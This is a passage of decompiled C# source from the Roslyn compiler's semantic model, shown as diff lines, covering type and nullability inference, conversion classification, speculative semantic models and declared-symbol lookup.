typeSymbol = sourceTuple.Type; + } + } + } + else if (typeSymbol is ExtendedErrorTypeSymbol { VariableUsedBeforeDeclaration: not false }) + { + typeSymbol = boundLocal.LocalSymbol.Type; + val = boundLocal.LocalSymbol.TypeWithAnnotations.NullableAnnotation.ToNullabilityInfo(typeSymbol); + } + } + BoundKind boundKind = boundExpression2?.Kind ?? BoundKind.NoOpStatement; + if (boundKind == BoundKind.Lambda) + { + BoundLambda boundLambda = (BoundLambda)boundExpression2; + typeSymbol2 = boundLambda.Type; + typeSymbol = null; + val = default(NullabilityInfo); + ((NullabilityInfo)(ref convertedNullability))._002Ector((NullableAnnotation)1, (NullableFlowState)1); + implicitConversion = new Conversion(ConversionKind.AnonymousFunction, boundLambda.Symbol, isExtensionMethod: false); + } + else + { + BoundConversion obj = boundExpression2 as BoundConversion; + if (obj != null && obj.Conversion.IsTupleLiteralConversion) + { + BoundConversion boundConversion = (BoundConversion)boundExpression2; + if (boundConversion.Operand.Kind != BoundKind.ConvertedTupleLiteral) + { + (typeSymbol, val) = getTypeAndNullability(boundConversion.Operand); + } + else + { + BoundConvertedTupleLiteral obj2 = (BoundConvertedTupleLiteral)boundConversion.Operand; + typeSymbol = obj2.SourceTuple.Type; + val = obj2.TopLevelNullability; + } + (Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol, NullabilityInfo) tuple2 = getTypeAndNullability(boundConversion); + typeSymbol2 = tuple2.Item1; + convertedNullability = tuple2.Item2; + implicitConversion = boundConversion.Conversion; + } + else if (boundKind == BoundKind.FixedLocalCollectionInitializer) + { + BoundFixedLocalCollectionInitializer boundFixedLocalCollectionInitializer = (BoundFixedLocalCollectionInitializer)boundExpression2; + (Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol, NullabilityInfo) tuple3 = getTypeAndNullability(boundFixedLocalCollectionInitializer); + typeSymbol2 = tuple3.Item1; + convertedNullability = tuple3.Item2; + (Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol, NullabilityInfo) tuple4 = getTypeAndNullability(boundFixedLocalCollectionInitializer.Expression); + typeSymbol = tuple4.Item1; + val = tuple4.Item2; + implicitConversion = BoundNode.GetConversion(boundFixedLocalCollectionInitializer.ElementPointerConversion, boundFixedLocalCollectionInitializer.ElementPointerPlaceholder); + } + else if (boundExpression is BoundConvertedSwitchExpression { WasTargetTyped: not false } boundConvertedSwitchExpression) + { + if (boundExpression2 is BoundConversion { ConversionKind: ConversionKind.SwitchExpression, Conversion: var conversion }) + { + typeSymbol = boundConvertedSwitchExpression.NaturalTypeOpt; + typeSymbol2 = boundConvertedSwitchExpression.Type; + convertedNullability = boundConvertedSwitchExpression.TopLevelNullability; + implicitConversion = (conversion.IsValid ? conversion : Conversion.NoConversion); + } + else + { + typeSymbol = boundConvertedSwitchExpression.NaturalTypeOpt; + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol3 = typeSymbol; + convertedNullability = val; + typeSymbol2 = typeSymbol3; + implicitConversion = Conversion.Identity; + } + } + else if (boundExpression is BoundConditionalOperator { WasTargetTyped: not false } boundConditionalOperator) + { + if (boundExpression2 is BoundConversion { ConversionKind: ConversionKind.ConditionalExpression }) + { + typeSymbol = boundConditionalOperator.NaturalTypeOpt; + typeSymbol2 = boundConditionalOperator.Type; + convertedNullability = val; + implicitConversion = Conversion.MakeConditionalExpression(ImmutableArray.Empty); + } + else + { + typeSymbol = boundConditionalOperator.NaturalTypeOpt; + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol4 = typeSymbol; + convertedNullability = val; + typeSymbol2 = typeSymbol4; + implicitConversion = Conversion.Identity; + } + } + else if (boundExpression is BoundCollectionExpression boundCollectionExpression) + { + typeSymbol = null; + Conversion conversion2 = default(Conversion); + bool flag; + if (boundExpression2 is BoundConversion { ConversionKind: var conversionKind } boundConversion4 && (conversionKind == ConversionKind.NoConversion || conversionKind == ConversionKind.CollectionExpression)) + { + conversion2 = boundConversion4.Conversion; + flag = true; + } + else + { + flag = false; + } + if (flag) + { + typeSymbol2 = boundExpression2.Type; + convertedNullability = boundCollectionExpression.TopLevelNullability; + implicitConversion = conversion2; + } + else if (boundExpression2 is BoundConversion { ConversionKind: ConversionKind.ImplicitNullable, Conversion: { UnderlyingConversions: { Length: 1 } underlyingConversions } } boundConversion5 && underlyingConversions[0].Kind == ConversionKind.CollectionExpression) + { + typeSymbol2 = boundExpression2.Type; + convertedNullability = boundCollectionExpression.TopLevelNullability; + implicitConversion = boundConversion5.Conversion; + } + else + { + convertedNullability = val; + typeSymbol2 = null; + implicitConversion = Conversion.Identity; + } + } + else if (boundExpression2 != null && boundExpression2 != boundExpression && boundExpression2.HasExpressionType()) + { + (typeSymbol2, convertedNullability) = getTypeAndNullability(boundExpression2); + if (boundKind != BoundKind.Conversion) + { + implicitConversion = Conversion.Identity; + } + else if (((BoundConversion)boundExpression2).Operand.Kind != BoundKind.Conversion) + { + implicitConversion = boundExpression2.GetConversion(); + if (implicitConversion.Kind == ConversionKind.AnonymousFunction) + { + typeSymbol = null; + val = default(NullabilityInfo); + } + } + else + { + TextSpan span = boundExpression.Syntax.Span; + Binder enclosingBinder = GetEnclosingBinder(((TextSpan)(ref span)).Start); + CompoundUseSiteInfo useSiteInfo2 = CompoundUseSiteInfo.Discarded; + implicitConversion = enclosingBinder.Conversions.ClassifyConversionFromExpression(boundExpression, typeSymbol2, ((BoundConversion)boundExpression2).Checked, ref useSiteInfo2); + } + } + else if (boundNodeForSyntacticParent != null && boundNodeForSyntacticParent.Kind == BoundKind.DelegateCreationExpression) + { + BoundDelegateCreationExpression boundDelegateCreationExpression = (BoundDelegateCreationExpression)boundNodeForSyntacticParent; + (typeSymbol2, convertedNullability) = getTypeAndNullability(boundDelegateCreationExpression); + switch (boundExpression.Kind) + { + case BoundKind.MethodGroup: + implicitConversion = new Conversion(ConversionKind.MethodGroup, boundDelegateCreationExpression.MethodOpt, boundDelegateCreationExpression.IsExtensionMethod); + break; + case BoundKind.Lambda: + { + BoundLambda boundLambda3 = (BoundLambda)boundExpression; + implicitConversion = new Conversion(ConversionKind.AnonymousFunction, boundLambda3.Symbol, boundDelegateCreationExpression.IsExtensionMethod); + break; + } + case BoundKind.UnboundLambda: + { + BoundLambda boundLambda2 = ((UnboundLambda)boundExpression).BindForErrorRecovery(); + implicitConversion = new Conversion(ConversionKind.AnonymousFunction, boundLambda2.Symbol, boundDelegateCreationExpression.IsExtensionMethod); + break; + } + default: + implicitConversion = Conversion.Identity; + break; + } + } + else + { + if (boundExpression is BoundConversion { ConversionKind: ConversionKind.MethodGroup, Conversion: var conversion4 } boundConversion6) + { + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type = boundConversion6.Type; + if ((object)type != null && (int)type.TypeKind == 13) + { + _ = boundConversion6.SymbolOpt; + typeSymbol2 = typeSymbol; + convertedNullability = val; + implicitConversion = conversion4; + typeSymbol = null; + ((NullabilityInfo)(ref val))._002Ector((NullableAnnotation)1, (NullableFlowState)1); + goto IL_0696; + } + } + typeSymbol2 = typeSymbol; + convertedNullability = val; + implicitConversion = Conversion.Identity; + } + } + goto IL_0696; + } + return CSharpTypeInfo.None; + IL_0696: + return new CSharpTypeInfo(typeSymbol, typeSymbol2, val, convertedNullability, implicitConversion); + static (Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol, NullabilityInfo) getTypeAndNullability(BoundExpression expr) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return (expr.Type, expr.TopLevelNullability); + } + } + + internal ImmutableArray GetMemberGroupForNode(SymbolInfoOptions options, BoundNode lowestBoundNode, BoundNode boundNodeForSyntacticParent, Binder binderOpt) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (lowestBoundNode is BoundExpression boundNode) + { + GetSemanticSymbols(boundNode, boundNodeForSyntacticParent, binderOpt, options, out var _, out var _, out var memberGroup); + return memberGroup; + } + return ImmutableArray.Empty; + } + + internal ImmutableArray GetIndexerGroupForNode(BoundNode lowestBoundNode, Binder binderOpt) + { + if (lowestBoundNode is BoundExpression { Kind: not BoundKind.TypeExpression } boundExpression) + { + return GetIndexerGroupSemanticSymbols(boundExpression, binderOpt); + } + return ImmutableArray.Empty; + } + + internal static SymbolInfo GetSymbolInfoForSymbol(Symbol symbol, SymbolInfoOptions options) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + Symbol symbol2 = UnwrapAlias(symbol); + Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol errorTypeSymbol = ((symbol2 is Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol) ? (typeSymbol.OriginalDefinition as Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol) : null); + if ((object)errorTypeSymbol != null) + { + OneOrMany symbols = OneOrMany.Empty; + LookupResultKind resultKind = errorTypeSymbol.ResultKind; + if (resultKind != LookupResultKind.Empty) + { + symbols = OneOrMany.Create(errorTypeSymbol.CandidateSymbols); + } + if ((options & SymbolInfoOptions.ResolveAliases) != 0) + { + symbols = UnwrapAliases(symbols); + } + return SymbolInfoFactory.Create(symbols, resultKind, isDynamic: false); + } + return new SymbolInfo((((options & SymbolInfoOptions.ResolveAliases) != 0) ? symbol2 : symbol).GetPublicSymbol()); + } + + internal static CSharpTypeInfo GetTypeInfoForSymbol(Symbol symbol) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol obj = UnwrapAlias(symbol) as Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol; + return new CSharpTypeInfo(obj, obj, default(NullabilityInfo), default(NullabilityInfo), Conversion.Identity); + } + + protected static Symbol UnwrapAlias(Symbol symbol) + { + if (!(symbol is Microsoft.CodeAnalysis.CSharp.Symbols.AliasSymbol aliasSymbol)) + { + return symbol; + } + return aliasSymbol.Target; + } + + protected static OneOrMany UnwrapAliases(OneOrMany symbols) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + Enumerator enumerator = symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + if ((int)enumerator.Current.Kind == 0) + { + flag = true; + } + } + if (!flag) + { + return symbols; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + enumerator = symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + AddUnwrappingErrorTypes(instance, UnwrapAlias(current)); + } + return ArrayBuilderExtensions.ToOneOrManyAndFree(instance); + } + + internal virtual BoundNode Bind(Binder binder, CSharpSyntaxNode node, BindingDiagnosticBag diagnostics) + { + if (Compilation.TestOnlyCompilationData is MemberSemanticModel.MemberSemanticBindingCounter memberSemanticBindingCounter) + { + memberSemanticBindingCounter.BindCount++; + } + if (!(node is ExpressionSyntax expressionSyntax)) + { + if (!(node is StatementSyntax node2)) + { + if (node is GlobalStatementSyntax globalStatementSyntax) + { + BoundStatement statement = binder.BindStatement(globalStatementSyntax.Statement, diagnostics); + return new BoundGlobalStatementInitializer((SyntaxNode)(object)node, statement); + } + return null; + } + return binder.BindStatement(node2, diagnostics); + } + if (!((SyntaxNode?)(object)expressionSyntax.Parent).IsKind(SyntaxKind.GotoStatement)) + { + return binder.BindNamespaceOrTypeOrExpression(expressionSyntax, diagnostics); + } + return binder.BindLabel(expressionSyntax, diagnostics); + } + + public virtual ControlFlowAnalysis AnalyzeControlFlow(StatementSyntax firstStatement, StatementSyntax lastStatement) + { + throw new NotSupportedException(); + } + + public virtual ControlFlowAnalysis AnalyzeControlFlow(StatementSyntax statement) + { + return AnalyzeControlFlow(statement, statement); + } + + public virtual DataFlowAnalysis AnalyzeDataFlow(ConstructorInitializerSyntax constructorInitializer) + { + throw new NotSupportedException(); + } + + public virtual DataFlowAnalysis AnalyzeDataFlow(PrimaryConstructorBaseTypeSyntax primaryConstructorBaseType) + { + throw new NotSupportedException(); + } + + public virtual DataFlowAnalysis AnalyzeDataFlow(ExpressionSyntax expression) + { + throw new NotSupportedException(); + } + + public virtual DataFlowAnalysis AnalyzeDataFlow(StatementSyntax firstStatement, StatementSyntax lastStatement) + { + throw new NotSupportedException(); + } + + public virtual DataFlowAnalysis AnalyzeDataFlow(StatementSyntax statement) + { + return AnalyzeDataFlow(statement, statement); + } + + public bool TryGetSpeculativeSemanticModelForMethodBody(int position, BaseMethodDeclarationSyntax method, out SemanticModel speculativeModel) + { + CheckModelAndSyntaxNodeToSpeculate(method); + PublicSemanticModel speculativeModel2; + bool result = TryGetSpeculativeSemanticModelForMethodBodyCore((SyntaxTreeSemanticModel)this, position, method, out speculativeModel2); + speculativeModel = (SemanticModel)(object)speculativeModel2; + return result; + } + + internal abstract bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, BaseMethodDeclarationSyntax method, out PublicSemanticModel speculativeModel); + + public bool TryGetSpeculativeSemanticModelForMethodBody(int position, AccessorDeclarationSyntax accessor, out SemanticModel speculativeModel) + { + CheckModelAndSyntaxNodeToSpeculate(accessor); + PublicSemanticModel speculativeModel2; + bool result = TryGetSpeculativeSemanticModelForMethodBodyCore((SyntaxTreeSemanticModel)this, position, accessor, out speculativeModel2); + speculativeModel = (SemanticModel)(object)speculativeModel2; + return result; + } + + internal abstract bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, AccessorDeclarationSyntax accessor, out PublicSemanticModel speculativeModel); + + public bool TryGetSpeculativeSemanticModel(int position, TypeSyntax type, out SemanticModel speculativeModel, SpeculativeBindingOption bindingOption = (SpeculativeBindingOption)0) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + CheckModelAndSyntaxNodeToSpeculate(type); + PublicSemanticModel speculativeModel2; + bool result = TryGetSpeculativeSemanticModelCore((SyntaxTreeSemanticModel)this, position, type, bindingOption, out speculativeModel2); + speculativeModel = (SemanticModel)(object)speculativeModel2; + return result; + } + + internal abstract bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, TypeSyntax type, SpeculativeBindingOption bindingOption, out PublicSemanticModel speculativeModel); + + public bool TryGetSpeculativeSemanticModel(int position, StatementSyntax statement, out SemanticModel speculativeModel) + { + CheckModelAndSyntaxNodeToSpeculate(statement); + PublicSemanticModel speculativeModel2; + bool result = TryGetSpeculativeSemanticModelCore((SyntaxTreeSemanticModel)this, position, statement, out speculativeModel2); + speculativeModel = (SemanticModel)(object)speculativeModel2; + return result; + } + + internal abstract bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, StatementSyntax statement, out PublicSemanticModel speculativeModel); + + public bool TryGetSpeculativeSemanticModel(int position, EqualsValueClauseSyntax initializer, out SemanticModel speculativeModel) + { + CheckModelAndSyntaxNodeToSpeculate(initializer); + PublicSemanticModel speculativeModel2; + bool result = TryGetSpeculativeSemanticModelCore((SyntaxTreeSemanticModel)this, position, initializer, out speculativeModel2); + speculativeModel = (SemanticModel)(object)speculativeModel2; + return result; + } + + internal abstract bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, EqualsValueClauseSyntax initializer, out PublicSemanticModel speculativeModel); + + public bool TryGetSpeculativeSemanticModel(int position, ArrowExpressionClauseSyntax expressionBody, out SemanticModel speculativeModel) + { + CheckModelAndSyntaxNodeToSpeculate(expressionBody); + PublicSemanticModel speculativeModel2; + bool result = TryGetSpeculativeSemanticModelCore((SyntaxTreeSemanticModel)this, position, expressionBody, out speculativeModel2); + speculativeModel = (SemanticModel)(object)speculativeModel2; + return result; + } + + internal abstract bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ArrowExpressionClauseSyntax expressionBody, out PublicSemanticModel speculativeModel); + + public bool TryGetSpeculativeSemanticModel(int position, ConstructorInitializerSyntax constructorInitializer, out SemanticModel speculativeModel) + { + CheckModelAndSyntaxNodeToSpeculate(constructorInitializer); + PublicSemanticModel speculativeModel2; + bool result = TryGetSpeculativeSemanticModelCore((SyntaxTreeSemanticModel)this, position, constructorInitializer, out speculativeModel2); + speculativeModel = (SemanticModel)(object)speculativeModel2; + return result; + } + + internal abstract bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ConstructorInitializerSyntax constructorInitializer, out PublicSemanticModel speculativeModel); + + public bool TryGetSpeculativeSemanticModel(int position, PrimaryConstructorBaseTypeSyntax constructorInitializer, out SemanticModel speculativeModel) + { + CheckModelAndSyntaxNodeToSpeculate(constructorInitializer); + PublicSemanticModel speculativeModel2; + bool result = TryGetSpeculativeSemanticModelCore((SyntaxTreeSemanticModel)this, position, constructorInitializer, out speculativeModel2); + speculativeModel = (SemanticModel)(object)speculativeModel2; + return result; + } + + internal abstract bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, PrimaryConstructorBaseTypeSyntax constructorInitializer, out PublicSemanticModel speculativeModel); + + public bool TryGetSpeculativeSemanticModel(int position, CrefSyntax crefSyntax, out SemanticModel speculativeModel) + { + CheckModelAndSyntaxNodeToSpeculate(crefSyntax); + PublicSemanticModel speculativeModel2; + bool result = TryGetSpeculativeSemanticModelCore((SyntaxTreeSemanticModel)this, position, crefSyntax, out speculativeModel2); + speculativeModel = (SemanticModel)(object)speculativeModel2; + return result; + } + + internal abstract bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, CrefSyntax crefSyntax, out PublicSemanticModel speculativeModel); + + public bool TryGetSpeculativeSemanticModel(int position, AttributeSyntax attribute, out SemanticModel speculativeModel) + { + CheckModelAndSyntaxNodeToSpeculate(attribute); + Binder speculativeBinderForAttribute = GetSpeculativeBinderForAttribute(position, attribute); + if (speculativeBinderForAttribute == null) + { + speculativeModel = null; + return false; + } + Microsoft.CodeAnalysis.CSharp.Symbols.AliasSymbol alias; + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol attributeType = (Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol)speculativeBinderForAttribute.BindType(attribute.Name, BindingDiagnosticBag.Discarded, out alias).Type; + speculativeModel = (SemanticModel)(object)((SyntaxTreeSemanticModel)this).CreateSpeculativeAttributeSemanticModel(position, attribute, speculativeBinderForAttribute, alias, attributeType); + return true; + } + + public abstract Conversion ClassifyConversion(ExpressionSyntax expression, ITypeSymbol destination, bool isExplicitInSource = false); + + public Conversion ClassifyConversion(int position, ExpressionSyntax expression, ITypeSymbol destination, bool isExplicitInSource = false) + { + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + if (destination == null) + { + throw new ArgumentNullException("destination"); + } + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol = destination.EnsureCSharpSymbolOrNull("destination"); + if (expression.Kind() == SyntaxKind.DeclarationExpression) + { + return Conversion.NoConversion; + } + if (isExplicitInSource) + { + return ClassifyConversionForCast(position, expression, typeSymbol); + } + position = CheckAndAdjustPosition(position); + Binder enclosingBinder = GetEnclosingBinder(position); + if (enclosingBinder != null) + { + BoundExpression boundExpression = enclosingBinder.BindExpression(expression, BindingDiagnosticBag.Discarded); + if (boundExpression != null && !typeSymbol.IsErrorType()) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return enclosingBinder.Conversions.ClassifyConversionFromExpression(boundExpression, typeSymbol, enclosingBinder.CheckOverflowAtRuntime, ref useSiteInfo); + } + } + return Conversion.NoConversion; + } + + internal abstract Conversion ClassifyConversionForCast(ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol destination); + + internal Conversion ClassifyConversionForCast(int position, ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol destination) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + if ((object)destination == null) + { + throw new ArgumentNullException("destination"); + } + position = CheckAndAdjustPosition(position); + Binder enclosingBinder = GetEnclosingBinder(position); + if (enclosingBinder != null) + { + BoundExpression boundExpression = enclosingBinder.BindExpression(expression, BindingDiagnosticBag.Discarded); + if (boundExpression != null && !destination.IsErrorType()) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return enclosingBinder.Conversions.ClassifyConversionFromExpression(boundExpression, destination, enclosingBinder.CheckOverflowAtRuntime, ref useSiteInfo, forCast: true); + } + } + return Conversion.NoConversion; + } + + public abstract ISymbol GetDeclaredSymbol(MemberDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ISymbol GetDeclaredSymbol(LocalFunctionStatementSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IMethodSymbol GetDeclaredSymbol(CompilationUnitSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract INamespaceSymbol GetDeclaredSymbol(NamespaceDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract INamespaceSymbol GetDeclaredSymbol(FileScopedNamespaceDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract INamedTypeSymbol GetDeclaredSymbol(BaseTypeDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract INamedTypeSymbol GetDeclaredSymbol(DelegateDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IFieldSymbol GetDeclaredSymbol(EnumMemberDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IMethodSymbol GetDeclaredSymbol(BaseMethodDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ISymbol GetDeclaredSymbol(BasePropertyDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IPropertySymbol GetDeclaredSymbol(PropertyDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IPropertySymbol GetDeclaredSymbol(IndexerDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IEventSymbol GetDeclaredSymbol(EventDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IPropertySymbol GetDeclaredSymbol(AnonymousObjectMemberDeclaratorSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract INamedTypeSymbol GetDeclaredSymbol(AnonymousObjectCreationExpressionSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract INamedTypeSymbol GetDeclaredSymbol(TupleExpressionSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ISymbol GetDeclaredSymbol(ArgumentSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IMethodSymbol GetDeclaredSymbol(AccessorDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IMethodSymbol GetDeclaredSymbol(ArrowExpressionClauseSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ISymbol GetDeclaredSymbol(VariableDeclaratorSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ISymbol GetDeclaredSymbol(SingleVariableDesignationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ILabelSymbol GetDeclaredSymbol(LabeledStatementSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ILabelSymbol GetDeclaredSymbol(SwitchLabelSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IAliasSymbol GetDeclaredSymbol(UsingDirectiveSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IAliasSymbol GetDeclaredSymbol(ExternAliasDirectiveSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IParameterSymbol GetDeclaredSymbol(ParameterSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + internal abstract ImmutableArray GetDeclaredSymbols(BaseFieldDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)); + + protected Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol GetParameterSymbol(ImmutableArray parameters, ParameterSyntax parameter, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + ImmutableArray.Enumerator enumerator2 = current.Locations.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Location current2 = enumerator2.Current; + cancellationToken.ThrowIfCancellationRequested(); + if (current2.SourceTree == SyntaxTree) + { + TextSpan span = ((SyntaxNode)parameter).Span; + if (((TextSpan)(ref span)).Contains(current2.SourceSpan)) + { + return current; + } + } + } + } + return null; + } + + public abstract ITypeParameterSymbol GetDeclaredSymbol(TypeParameterSyntax typeParameter, CancellationToken cancellationToken = default(CancellationToken)); + + internal BinderFlags GetSemanticModelBinderFlags() + { + if (!((SemanticModel)this).IgnoresAccessibility) + { + return BinderFlags.SemanticModel; + } + return BinderFlags.SemanticModel | BinderFlags.IgnoreAccessibility; + } + + public ILocalSymbol GetDeclaredSymbol(ForEachStatementSyntax forEachStatement) + { + Binder enclosingBinder = GetEnclosingBinder(GetAdjustedNodePosition((SyntaxNode)(object)forEachStatement)); + if (enclosingBinder == null) + { + return null; + } + Binder binder = enclosingBinder.GetBinder((SyntaxNode)(object)forEachStatement); + if (binder == null) + { + return null; + } + Microsoft.CodeAnalysis.CSharp.Symbols.LocalSymbol localSymbol = binder.GetDeclaredLocalsForScope((SyntaxNode)(object)forEachStatement).FirstOrDefault(); + return ((localSymbol is SourceLocalSymbol { DeclarationKind: LocalDeclarationKind.ForEachIterationVariable } sourceLocalSymbol) ? GetAdjustedLocalSymbol(sourceLocalSymbol) : localSymbol).GetPublicSymbol(); + } + + internal abstract Microsoft.CodeAnalysis.CSharp.Symbols.LocalSymbol GetAdjustedLocalSymbol(SourceLocalSymbol originalSymbol); + + public ILocalSymbol GetDeclaredSymbol(CatchDeclarationSyntax catchDeclaration) + { + CSharpSyntaxNode parent = catchDeclaration.Parent; + Binder enclosingBinder = GetEnclosingBinder(GetAdjustedNodePosition((SyntaxNode)(object)parent)); + if (enclosingBinder == null) + { + return null; + } + if (enclosingBinder.GetBinder((SyntaxNode)(object)parent) == null) + { + return null; + } + Microsoft.CodeAnalysis.CSharp.Symbols.LocalSymbol localSymbol = enclosingBinder.GetBinder((SyntaxNode)(object)parent).GetDeclaredLocalsForScope((SyntaxNode)(object)parent).FirstOrDefault(); + if ((object)localSymbol == null || localSymbol.DeclarationKind != LocalDeclarationKind.CatchVariable) + { + return null; + } + return localSymbol.GetPublicSymbol(); + } + + public abstract IRangeVariableSymbol GetDeclaredSymbol(QueryClauseSyntax queryClause, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IRangeVariableSymbol GetDeclaredSymbol(JoinIntoClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IRangeVariableSymbol GetDeclaredSymbol(QueryContinuationSyntax node, CancellationToken cancellationToken = default(CancellationToken)); + + private OneOrMany GetSemanticSymbols(BoundExpression boundNode, BoundNode boundNodeForSyntacticParent, Binder binderOpt, SymbolInfoOptions options, out bool isDynamic, out LookupResultKind resultKind, out ImmutableArray memberGroup) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_074f: Unknown result type (might be due to invalid IL or missing references) + //IL_0754: Unknown result type (might be due to invalid IL or missing references) + //IL_02ea: Unknown result type (might be due to invalid IL or missing references) + //IL_0388: Unknown result type (might be due to invalid IL or missing references) + //IL_038d: Unknown result type (might be due to invalid IL or missing references) + //IL_035f: Unknown result type (might be due to invalid IL or missing references) + //IL_0364: Unknown result type (might be due to invalid IL or missing references) + //IL_071e: Unknown result type (might be due to invalid IL or missing references) + //IL_0723: Unknown result type (might be due to invalid IL or missing references) + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + //IL_0188: Unknown result type (might be due to invalid IL or missing references) + //IL_019b: Unknown result type (might be due to invalid IL or missing references) + //IL_01a0: Unknown result type (might be due to invalid IL or missing references) + //IL_08d5: 